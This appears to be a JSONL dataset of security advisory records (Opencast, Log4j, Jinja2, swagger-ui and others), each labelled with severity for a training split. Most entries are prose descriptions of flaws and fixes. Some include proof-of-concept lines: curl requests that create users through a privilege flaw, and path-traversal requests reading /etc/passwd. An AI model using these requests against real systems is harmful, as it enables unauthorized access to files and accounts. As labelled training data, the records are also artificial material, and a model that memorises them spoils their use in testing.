-{"id": "044a973c9c9047fcd080", "text": "Users with ROLE_COURSE_ADMIN can create new users in Opencast\n\n### Impact\n\nUsers with the role `ROLE_COURSE_ADMIN` can use the user-utils endpoint to create new users not including the role `ROLE_ADMIN`. For example:\n\n```bash\n# Use the admin to create a new user with ROLE_COURSE_ADMIN using the admin user.\n# We expect this to work.\n% curl -i -u admin:opencast 'https://example.opencast.org/user-utils/xy.json' -X PUT \\\n  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'\nHTTP/2 201\n\n# Use the new user to create more new users.\n# We don't expüect a user with just role ROLE_COURSE_ADMIN to succeed.\n# But it does work\n% curl -i -u xy:f 'https://example.opencast.org/user-utils/ab.json' -X PUT \\\n  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'\nHTTP/2 201\n```\n`ROLE_COURSE_ADMIN` is a non-standard role in Opencast which is referenced neither in the documentation nor in any code (except for tests) but only in the security configuration. From the name – implying an admin for a specific course – users would never expect that this role allows user creation.\n\n### Patches\n\nThis issue is fixed in 7.6 and 8.1 which both ship a new default security configuration.\n\n### Workarounds\n\nYou can fix this issue by removing all instances of `ROLE_COURSE_ADMIN` in your organization's security configuration (`etc/security/mh_default_org.xml` by default).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "text_raw": "Users with ROLE_COURSE_ADMIN can create new users in Opencast\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsers with the role `ROLE_COURSE_ADMIN` can use the user-utils endpoint to create new users not including the role `ROLE_ADMIN`. For example:\n\n```bash\n# Use the admin to create a new user with ROLE_COURSE_ADMIN using the admin user.\n# We expect this to work.\n% curl -i -u admin:opencast 'https://example.opencast.org/user-utils/xy.json' -X PUT \\\n  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'\nHTTP/2 201\n\n# Use the new user to create more new users.\n# We don't expüect a user with just role ROLE_COURSE_ADMIN to succeed.\n# But it does work\n% curl -i -u xy:f 'https://example.opencast.org/user-utils/ab.json' -X PUT \\\n  --data 'password=f&roles=%5B%22ROLE_COURSE_ADMIN%22%5D'\nHTTP/2 201\n```\n`ROLE_COURSE_ADMIN` is a non-standard role in Opencast which is referenced neither in the documentation nor in any code (except for tests) but only in the security configuration. From the name – implying an admin for a specific course – users would never expect that this role allows user creation.\n\n### Patches\n\nThis issue is fixed in 7.6 and 8.1 which both ship a new default security configuration.\n\n### Workarounds\n\nYou can fix this issue by removing all instances of `ROLE_COURSE_ADMIN` in your organization's security configuration (`etc/security/mh_default_org.xml` by default).\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in [opencast/opencast](https://github.com/opencast/opencast/issues)\n- For security-relevant information, email us at security@opencast.org", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-30", "split": "train"}
-{"id": "929aed3563a9ed34410b", "text": "selenium-chromedriver Downloads Resources over HTTP\n\nAffected versions of `selenium-chromedriver` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-chromedriver`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised yo", "text_raw": "selenium-chromedriver Downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `selenium-chromedriver` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `selenium-chromedriver`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the author has marked the package as deprecated.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised yo", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "434981cb0f81e83e9b67", "text": "Cross-Site Scripting in harp\n\n# Withdrawn\n\nThis advisory has been withdrawn per request from the maintainer.  Given harp is a static webserver, a XSS type of vulnerability is not appropriate.\n\n### Original advisory description\n\nAll versions of `harp` are vulnerable to Cross-Site Scripting. Due to misconfiguration of its rendering engine, `harp` does not sanitize the HTML output allowing attackers to run arbitrary JavaScript when processing malicious files.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Cross-Site Scripting in harp\n\n[Severity: MEDIUM]\n\n# Withdrawn\n\nThis advisory has been withdrawn per request from the maintainer.  Given harp is a static webserver, a XSS type of vulnerability is not appropriate.\n\n### Original advisory description\n\nAll versions of `harp` are vulnerable to Cross-Site Scripting. Due to misconfiguration of its rendering engine, `harp` does not sanitize the HTML output allowing attackers to run arbitrary JavaScript when processing malicious files.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "e0df536f10743e7f6b62", "text": "HashiCorp Consul L7 deny intention results in an allow action\n\nIn HashiCorp Consul before 1.10.1 (and Consul Enterprise), xds can generate a situation where a single L7 deny intention (with a default deny policy) results in an allow action.", "text_raw": "HashiCorp Consul L7 deny intention results in an allow action\n\n[Severity: HIGH]\n\nIn HashiCorp Consul before 1.10.1 (and Consul Enterprise), xds can generate a situation where a single L7 deny intention (with a default deny policy) results in an allow action.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-19", "split": "train"}
-{"id": "4af6bbd087d25820e179", "text": "Arbitrary code execution in clickhouse-driver\n\nclickhouse-driver before 0.1.5 allows a malicious clickhouse server to trigger a crash or execute arbitrary code (on a database client) via a crafted server response, due to a buffer overflow.", "text_raw": "Arbitrary code execution in clickhouse-driver\n\n[Severity: CRITICAL]\n\nclickhouse-driver before 0.1.5 allows a malicious clickhouse server to trigger a crash or execute arbitrary code (on a database client) via a crafted server response, due to a buffer overflow.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-07", "split": "train"}
-{"id": "6ff7417ffb6af8705f30", "text": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Kafka\n\nWhen Connect workers in Apache Kafka 2.0.0, 2.0.1, 2.1.0, 2.1.1, 2.2.0, 2.2.1, or 2.3.0 are configured with one or more config providers, and a connector is created/updated on that Connect cluster to use an externalized secret variable in a substring of a connector configuration property value, then any client can issue a request to the same Connect cluster to obtain the connector's task configuration and the response will contain the plaintext secret rather than the externalized secrets variables.", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in Apache Kafka\n\n[Severity: HIGH]\n\nWhen Connect workers in Apache Kafka 2.0.0, 2.0.1, 2.1.0, 2.1.1, 2.2.0, 2.2.1, or 2.3.0 are configured with one or more config providers, and a connector is created/updated on that Connect cluster to use an externalized secret variable in a substring of a connector configuration property value, then any client can issue a request to the same Connect cluster to obtain the connector's task configuration and the response will contain the plaintext secret rather than the externalized secrets variables.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-12", "split": "train"}
-{"id": "5247453e79ec120164dc", "text": "Windu CMS 2.2 Multiple Persistent Cross-Site Scripting Vulnerabilities", "text_raw": "Windu CMS 2.2 Multiple Persistent Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-07-24", "split": "train"}
-{"id": "995b026006186ed98f73", "text": "Invalid Curve Attack in openpgp\n\nVersions of `openpgp` prior to 4.3.0 are vulnerable to an Invalid Curve Attack. The package's implementation of ECDH fails to verify the validity of the communication partner's public key. The package calculates the resulting key secret based on an altered curve instead of the specified elliptic curve. Attackers may exfiltrate the victim's private key by choosing the altered curve. An attack requires the attacker being able to initiate message decryption and record the result. Furthermore the victim's key must offer an ECDH public key.\n\n## Recommendation\n\nUpgrade to version 4.3.0 or later.\nIf you are upgrading from a version <4.0.0 it is highly recommended to read the `High-Level API Changes` section of the `openpgp` 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0", "text_raw": "Invalid Curve Attack in openpgp\n\n[Severity: MEDIUM]\n\nVersions of `openpgp` prior to 4.3.0 are vulnerable to an Invalid Curve Attack. The package's implementation of ECDH fails to verify the validity of the communication partner's public key. The package calculates the resulting key secret based on an altered curve instead of the specified elliptic curve. Attackers may exfiltrate the victim's private key by choosing the altered curve. An attack requires the attacker being able to initiate message decryption and record the result. Furthermore the victim's key must offer an ECDH public key.\n\n\n## Recommendation\n\nUpgrade to version 4.3.0 or later.\nIf you are upgrading from a version <4.0.0 it is highly recommended to read the `High-Level API Changes` section of the `openpgp` 4.0.0 release: https://github.com/openpgpjs/openpgpjs/releases/tag/v4.0.0", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "75ddab808caa577dcc79", "text": "Apache Struts allows entering a custom URL in a form field if built-in URLValidator is used\n\nIn Apache Struts 2.3.7 through 2.3.33 and 2.5 through 2.5.12, if an application allows entering a URL in a form field and built-in URLValidator is used, it is possible to prepare a special URL which will be used to overload server process when performing validation of the URL.  NOTE: this vulnerability exists because of an incomplete fix for S2-047 / CVE-2017-7672.", "text_raw": "Apache Struts allows entering a custom URL in a form field if built-in URLValidator is used\n\n[Severity: HIGH]\n\nIn Apache Struts 2.3.7 through 2.3.33 and 2.5 through 2.5.12, if an application allows entering a URL in a form field and built-in URLValidator is used, it is possible to prepare a special URL which will be used to overload server process when performing validation of the URL.  NOTE: this vulnerability exists because of an incomplete fix for S2-047 / CVE-2017-7672.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "686519627f5d9517f409", "text": "Authentication Weakness in keystone\n\nVersions of `keystone` prior to 0.3.16 are affected by a partial authentication bypass vulnerability. In the default sign in functionality, if an attacker provides a full and correct password, yet only provides part of the associated email address, authentication will be granted.\n\n## Recommendation\n\nUpdate to version 0.3.16 or later.", "text_raw": "Authentication Weakness in keystone\n\n[Severity: HIGH]\n\nVersions of `keystone` prior to 0.3.16 are affected by a partial authentication bypass vulnerability. In the default sign in functionality, if an attacker provides a full and correct password, yet only provides part of the associated email address, authentication will be granted.\n\n\n## Recommendation\n\nUpdate to version 0.3.16 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-06-07", "split": "train"}
-{"id": "b5212719add5cda1ca16", "text": "Vulnerability in Apache Hadoop 0.23.x, 2.x before 2.7.5, 2.8.x before 2.8.3, and 3.0.0-alpha through 3.0.0-beta1 allows a cluster user to expose private files owned by the user running the MapReduce job history server process. The malicious user can construct a configuration file containing XML directives that reference sensitive files on the MapReduce job history server host.", "text_raw": "Moderate severity vulnerability that affects org.apache.hadoop:hadoop-main\n\n[Severity: MEDIUM]\n\nVulnerability in Apache Hadoop 0.23.x, 2.x before 2.7.5, 2.8.x before 2.8.3, and 3.0.0-alpha through 3.0.0-beta1 allows a cluster user to expose private files owned by the user running the MapReduce job history server process. The malicious user can construct a configuration file containing XML directives that reference sensitive files on the MapReduce job history server host.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-12-21", "split": "train"}
-{"id": "6a7f30df27a2570ae6ce", "text": "Apache Airflow vulnerable to CSRF Attacks\n\nA number of HTTP endpoints in the Airflow webserver (both RBAC and classic) did not have adequate protection and were vulnerable to cross-site request forgery attacks.", "text_raw": "Apache Airflow vulnerable to CSRF Attacks\n\n[Severity: HIGH]\n\nA number of HTTP endpoints in the Airflow webserver (both RBAC and classic) did not have adequate protection and were vulnerable to cross-site request forgery attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-18", "split": "train"}
-{"id": "49ea1918a29b71dbc0b0", "text": "Malicious Package in asnc\n\nAll versions of `asnc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in asnc\n\n[Severity: CRITICAL]\n\nAll versions of `asnc` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "221923473c7fc29eecd1", "text": "XSS in Image Optimization API for Next.js\n\n### Impact\n- **Affected:** All of the following must be true to be affected\n    - Next.js between version 10.0.0 and 11.1.0\n    - The `next.config.js` file has [`images.domains`](https://nextjs.org/docs/basic-features/image-optimization#domains) array assigned\n    - The image host assigned in [`images.domains`](https://nextjs.org/docs/basic-features/image-optimization#domains) allows user-provided SVG\n- **Not affected**: The `next.config.js` file has [`images.loader`](https://nextjs.org/docs/basic-features/image-optimization#loader) assigned to something other than default\n- **Not affected**: Deployments on [Vercel](https://vercel.com) are not affected\n\n### Patches\n[Next.js v11.1.1](https://github.com/vercel/next.js/releases/tag/v11.1.1)", "text_raw": "XSS in Image Optimization API for Next.js\n\n[Severity: HIGH]\n\n### Impact\n- **Affected:** All of the following must be true to be affected\n    - Next.js between version 10.0.0 and 11.1.0\n    - The `next.config.js` file has [`images.domains`](https://nextjs.org/docs/basic-features/image-optimization#domains) array assigned\n    - The image host assigned in [`images.domains`](https://nextjs.org/docs/basic-features/image-optimization#domains) allows user-provided SVG\n- **Not affected**: The `next.config.js` file has [`images.loader`](https://nextjs.org/docs/basic-features/image-optimization#loader) assigned to something other than default\n- **Not affected**: Deployments on [Vercel](https://vercel.com) are not affected\n\n### Patches\n[Next.js v11.1.1](https://github.com/vercel/next.js/releases/tag/v11.1.1)\n\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-01", "split": "train"}
-{"id": "a41ab27080a67c0d7b67", "text": "Anviz AIM CrossChex Standard 4.3 Excel Macro Injection", "text_raw": "Anviz AIM CrossChex Standard 4.3 Excel Macro Injection\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-11-01", "split": "train"}
-{"id": "bc2c1e74163fcb5b6fb7", "text": "Command injection in eslint-fixer\n\nThe eslint-fixer package through 0.1.5 for Node.js allows command injection via shell metacharacters to the fix function. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. The ozum/eslint-fixer GitHub repository has been intentionally deleted.", "text_raw": "Command injection in eslint-fixer\n\n[Severity: CRITICAL]\n\nThe eslint-fixer package through 0.1.5 for Node.js allows command injection via shell metacharacters to the fix function. NOTE: This vulnerability only affects products that are no longer supported by the maintainer. The ozum/eslint-fixer GitHub repository has been intentionally deleted.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "0cb4be56c4fbb032bc60", "text": "Pillow Out-of-bounds Write\n\nIn Pillow before 8.1.0, TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode.", "text_raw": "Pillow Out-of-bounds Write\n\n[Severity: HIGH]\n\nIn Pillow before 8.1.0, TiffDecode has a heap-based buffer overflow when decoding crafted YCbCr files because of certain interpretation conflicts with LibTIFF in RGBA mode.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-18", "split": "train"}
-{"id": "fdf873f4e14638a3577c", "text": "Inim Electronics Smartliving SmartLAN/G/SI <=6.x Unauthenticated SSRF", "text_raw": "Inim Electronics Smartliving SmartLAN/G/SI <=6.x Unauthenticated SSRF\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-12-09", "split": "train"}
-{"id": "ec1fe26a5cb44b3ff032", "text": "Uncontrolled recursion leads to abort in deserialization\n\nAffected versions of this crate did not properly check for recursion while deserializing aliases. This allows an attacker to make a YAML file with an alias referring to itself causing an abort. The flaw was corrected by checking the recursion depth.", "text_raw": "Uncontrolled recursion leads to abort in deserialization\n\n[Severity: MEDIUM]\n\nAffected versions of this crate did not properly check for recursion while deserializing aliases. This allows an attacker to make a YAML file with an alias referring to itself causing an abort. The flaw was corrected by checking the recursion depth.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "292f39bd7d461dfea2d2", "text": "Directory Traversal in geddy\n\nVersions 13.0.8 and earlier of geddy are vulnerable to a directory traversal attack via URI encoded attack vectors.\n\n### Proof of Concept\n```\nhttp://localhost:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd\n```\n\n## Recommendation\n\nUpdate geddy to version >= 13.0.8", "text_raw": "Directory Traversal in geddy\n\n[Severity: HIGH]\n\nVersions 13.0.8 and earlier of geddy are vulnerable to a directory traversal attack via URI encoded attack vectors.\n\n### Proof of Concept\n```\nhttp://localhost:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd\n```\n\n\n## Recommendation\n\nUpdate geddy to version >= 13.0.8", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "724f032747df469fc26f", "text": "Wordpress Securimage-WP Plugin v3.2.4 URI-based XSS Vulnerability", "text_raw": "Wordpress Securimage-WP Plugin v3.2.4 URI-based XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-05-11", "split": "train"}
-{"id": "601abdecfcfb5d4440c1", "text": "Storage corruption due to variables overwritten by re-entrancy locks\n\n### Background\nWhen attempting to use the v0.2.14 release, @pandadefi discovered an issue using the `@nonreentrant` decorator.\n\n### Impact\nReentrancy protection storage slots get allocated to the same slots as storage variables, leading to the corruption of storage variables when using the `@nonreentrant` decorator.\n\n### Patches\nThis issue was fixed in v0.2.15 in #2391, #2379\n\n### Workarounds\nDon't use the `@nonreentrant` decorator in these versions.", "text_raw": "Storage corruption due to variables overwritten by re-entrancy locks\n\n[Severity: HIGH]\n\n### Background\nWhen attempting to use the v0.2.14 release, @pandadefi discovered an issue using the `@nonreentrant` decorator.\n\n### Impact\nReentrancy protection storage slots get allocated to the same slots as storage variables, leading to the corruption of storage variables when using the `@nonreentrant` decorator.\n\n### Patches\nThis issue was fixed in v0.2.15 in #2391, #2379\n\n### Workarounds\nDon't use the `@nonreentrant` decorator in these versions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-05", "split": "train"}
-{"id": "79f89e10909da18838c5", "text": "Uncontrolled Resource Consumption in MetadataExtractor\n\nMetadataExtractor 2.1.0 allows stack consumption.", "text_raw": "Uncontrolled Resource Consumption in MetadataExtractor\n\n[Severity: HIGH]\n\nMetadataExtractor 2.1.0 allows stack consumption.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-23", "split": "train"}
-{"id": "0acb2c3f8d9d3dc66b87", "text": "Directory Traversal in 11xiaoli\n\nAffected versions of `11xiaoli` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in 11xiaoli\n\n[Severity: HIGH]\n\nAffected versions of `11xiaoli` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "967de9ef79b480c69861", "text": "Apple iOS, iPadOS, and watchOS Memory Corruption Vulnerability\n\nAffected: Apple iOS, iPadOS, and watchOS\n\nApple iOS, iPadOS, and watchOS Mail contains a memory corruption vulnerability that may allow heap corruption when processing a maliciously crafted mail message.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apple iOS, iPadOS, and watchOS Memory Corruption Vulnerability\n\nAffected: Apple iOS, iPadOS, and watchOS\n\nApple iOS, iPadOS, and watchOS Mail contains a memory corruption vulnerability that may allow heap corruption when processing a maliciously crafted mail message.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-787\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "1e8afd92b5ee86dac04c", "text": "DNN (aka DotNetNuke) has Remote Code Execution via a cookie\n\nDNN (aka DotNetNuke) before 9.1.1 has Remote Code Execution via a cookie, aka \"2017-08 (Critical) Possible remote code execution on DNN sites.\"", "text_raw": "DNN (aka DotNetNuke) has Remote Code Execution via a cookie\n\n[Severity: HIGH]\n\nDNN (aka DotNetNuke) before 9.1.1 has Remote Code Execution via a cookie, aka \"2017-08 (Critical) Possible remote code execution on DNN sites.\"", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "3503f1c3673b9083f3ba", "text": "Potential to access user credentials from the log files when debug logging enabled\n\nA flaw was found in, all under 2.0.20, in the Undertow DEBUG log for io.undertow.request.security. If enabled, an attacker could abuse this flaw to obtain the user's credentials from the log files.", "text_raw": "Potential to access user credentials from the log files when debug logging enabled\n\n[Severity: CRITICAL]\n\nA flaw was found in, all under 2.0.20, in the Undertow DEBUG log for io.undertow.request.security. If enabled, an attacker could abuse this flaw to obtain the user's credentials from the log files.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-11-20", "split": "train"}
-{"id": "1584f3b86a046e626665", "text": "bookstack is vulnerable to Improper Access Control\n\nbookstack is vulnerable to Improper Access Control.", "text_raw": "bookstack is vulnerable to Improper Access Control\n\n[Severity: MEDIUM]\n\nbookstack is vulnerable to Improper Access Control.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-01", "split": "train"}
-{"id": "7bbeafb56e928785e8e0", "text": "Incomplete fix for Apache Log4j vulnerability\n\n# Impact\n\nThe fix to address [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a remote code execution (RCE) attack.\n\n## Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\n# Mitigation\n\nLog4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (< 2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).\n\nLog4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.formatMsgNoLookups` to `true` do NOT mitigate this specific vulnerability.", "text_raw": "Incomplete fix for Apache Log4j vulnerability\n\n[Severity: CRITICAL]\n\n# Impact\n\nThe fix to address [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a remote code execution (RCE) attack. \n\n## Affected packages\nOnly the `org.apache.logging.log4j:log4j-core` package is directly affected by this vulnerability. The `org.apache.logging.log4j:log4j-api` should be kept at the same version as the `org.apache.logging.log4j:log4j-core` package to ensure compatability if in use.\n\n# Mitigation\n\nLog4j 2.16.0 fixes this issue by removing support for message lookup patterns and disabling JNDI functionality by default. This issue can be mitigated in prior releases (< 2.16.0) by removing the JndiLookup class from the classpath (example: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class).\n\nLog4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property `log4j2.formatMsgNoLookups` to `true` do NOT mitigate this specific vulnerability.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "4c2c7a90642a5d28756b", "text": "Jinja2 sandbox escape via string formatting\n\nIn Pallets Jinja before 2.10.1, `str.format_map` allows a sandbox escape.\n\nThe sandbox is used to restrict what code can be evaluated when rendering untrusted, user-provided templates. Due to the way string formatting works in Python, the `str.format_map` method could be used to escape the sandbox.\n\nThis issue was previously addressed for the `str.format` method in Jinja 2.8.1, which discusses the issue in detail. However, the less-common `str.format_map` method was overlooked. This release applies the same sandboxing to both methods.\n\nIf you cannot upgrade Jinja, you can override the `is_safe_attribute` method on the sandbox and explicitly disallow the `format_map` method on string objects.", "text_raw": "Jinja2 sandbox escape via string formatting\n\n[Severity: HIGH]\n\nIn Pallets Jinja before 2.10.1, `str.format_map` allows a sandbox escape.\n\nThe sandbox is used to restrict what code can be evaluated when rendering untrusted, user-provided templates. Due to the way string formatting works in Python, the `str.format_map` method could be used to escape the sandbox.\n\nThis issue was previously addressed for the `str.format` method in Jinja 2.8.1, which discusses the issue in detail. However, the less-common `str.format_map` method was overlooked. This release applies the same sandboxing to both methods.\n\nIf you cannot upgrade Jinja, you can override the `is_safe_attribute` method on the sandbox and explicitly disallow the `format_map` method on string objects.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-10", "split": "train"}
-{"id": "0b49fdf241e5a6fb4178", "text": "**Withdrawn:** Duplicate of GHSA-79mx-88w7-8f7q", "text_raw": "Moderate severity vulnerability that affects validator\n\n[Severity: MEDIUM]\n\n**Withdrawn:** Duplicate of GHSA-79mx-88w7-8f7q", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "47985b1a51b4036ce0ad", "text": "Unsafe HTTP Redirect in Puppet Agent and Puppet Server\n\nA flaw was discovered in Puppet Agent and Puppet Server that may result in a leak of HTTP credentials when following HTTP redirects to a different host. This is similar to CVE-2018-1000007", "text_raw": "Unsafe HTTP Redirect in Puppet Agent and Puppet Server\n\n[Severity: MEDIUM]\n\nA flaw was discovered in Puppet Agent and Puppet Server that may result in a leak of HTTP credentials when following HTTP redirects to a different host. This is similar to CVE-2018-1000007", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "1c3e0a1d6cc8c202af57", "text": "Cross-Site Scripting in swagger-ui\n\nAffected versions of `swagger-ui` contain a cross-site scripting vulnerability in the key names of a specific nested object in the JSON document.\n\n## Proof of Concept\nThe vulnerable object structure is:\n```\n{\n    \"definitions\": {\n        \"arbitraryVal\": {\n            \"properties\": {\n                \"<INJECTABLE_KEY_NAME>\": \"LoremIpsum\"\n                }\n            }\n        }\n}\n```\nMalicious JSON documents can be loaded in by providing a URL to them in the `url` query string parameter.\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.", "text_raw": "Cross-Site Scripting in swagger-ui\n\n[Severity: CRITICAL]\n\nAffected versions of `swagger-ui` contain a cross-site scripting vulnerability in the key names of a specific nested object in the JSON document.\n\n\n## Proof of Concept\nThe vulnerable object structure is:\n```\n{\n    \"definitions\": {\n        \"arbitraryVal\": {\n            \"properties\": {\n                \"<INJECTABLE_KEY_NAME>\": \"LoremIpsum\"\n                }\n            }\n        }\n}\n```\nMalicious JSON documents can be loaded in by providing a URL to them in the `url` query string parameter.\n\n\n\n## Recommendation\n\nUpdate to version 2.2.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "059d594cf8cd9e6b5a79", "text": "Cross-Site Scripting in seeftl\n\nAll versions of `seeftl` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in seeftl\n\n[Severity: HIGH]\n\nAll versions of `seeftl` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
